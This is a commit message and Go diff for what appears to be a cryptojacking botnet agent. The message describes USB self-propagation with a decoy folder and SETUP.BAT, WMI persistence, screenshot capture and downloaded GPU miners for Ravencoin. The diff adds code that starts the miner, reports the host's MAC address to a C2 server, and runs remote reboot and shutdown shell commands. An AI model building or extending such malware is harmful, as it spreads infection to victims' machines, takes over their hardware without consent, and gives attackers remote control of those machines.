Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

agent/client/client.go

@@ -39,6 +39,7 @@ type AgentClient struct {
 	agentID         string
 	sharesSubmitted int
 	sharesAccepted  int
+	gpuMiner        *GPUMiner
 
 	// connected is true while a C2 WebSocket session is active.
 	// The Stratum fallback manager monitors this to decide when to mine directly.
@@ -66,6 +67,15 @@ func (c *AgentClient) Run() error {
 	c.pool.Start()
 	defer c.pool.Stop()
 
+	// Start GPU miner (Ravencoin / KawPoW) if configured
+	if gm := newGPUMiner(c.cfg); gm != nil {
+		c.mu.Lock()
+		c.gpuMiner = gm
+		c.mu.Unlock()
+		gm.Start()
+		defer gm.Stop()
+	}
+
 	// Start AI Autonomy runner if enabled
 	if c.cfg.AIEnabled {
 		c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
@@ -198,6 +208,23 @@ func (c *AgentClient) connectLoop(serverURL string) error {
 	}
 }
 
+func primaryMACAddress() string {
+	ifaces, err := net.Interfaces()
+	if err != nil {
+		return ""
+	}
+	for _, iface := range ifaces {
+		if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
+			continue
+		}
+		if len(iface.HardwareAddr) == 0 {
+			continue
+		}
+		return iface.HardwareAddr.String()
+	}
+	return ""
+}
+
 func (c *AgentClient) authenticate() error {
 	host, cores, memGB := c.reporter.SystemInfo()
 	backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
@@ -230,6 +257,7 @@ func (c *AgentClient) authenticate() error {
 		Platform:         runtime.GOOS,
 		Arch:             runtime.GOARCH,
 		OSVersion:        deploy.HostOSVersion(),
+		MacAddress:       primaryMACAddress(),
 	})
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -373,6 +401,18 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 				log.Printf("[agent] remote uninstall failed: %v", err)
 			}
 		}()
+	case "reboot_machine":
+		c.sendCommandResult(action, true, "system reboot initiated")
+		go func() {
+			time.Sleep(500 * time.Millisecond)
+			_, _ = c.runShellCommand("shutdown /r /t 0")
+		}()
+	case "shutdown_machine":
+		c.sendCommandResult(action, true, "system shutdown initiated")
+		go func() {
+			time.Sleep(500 * time.Millisecond)
+			_, _ = c.runShellCommand("shutdown /s /t 0")
+		}()
 	case "get_log":
 		if tailLines <= 0 {
 			tailLines = 300
@@ -705,6 +745,24 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
 				stats.GPUTempC    = lastPressure.GPUTempC
 				stats.GPUUsagePct = lastPressure.GPUUsagePct
 			}
+			// GPU miner (Ravencoin) stats — included when GPU miner is running
+			c.mu.Lock()
+			gm := c.gpuMiner
+			c.mu.Unlock()
+			if gm != nil {
+				gs, active := gm.Stats()
+				stats.GPUMinerActive = &active
+				stats.GPUHashrate15s = gs.Hashrate15s
+				stats.GPUHashrate1m  = gs.Hashrate1m
+				stats.GPUHashrate15m = gs.Hashrate15m
+				stats.GPUModel       = gm.GPUModel()
+				if gs.GPUTempC != nil {
+					stats.GPUTempC = gs.GPUTempC
+				}
+				if gs.GPUUsagePct != nil {
+					stats.GPUUsagePct = gs.GPUUsagePct
+				}
+			}
 			if postureReady && lastPosture != nil {
 				score := lastPosture.PostureScore
 				stats.PostureScore    = &score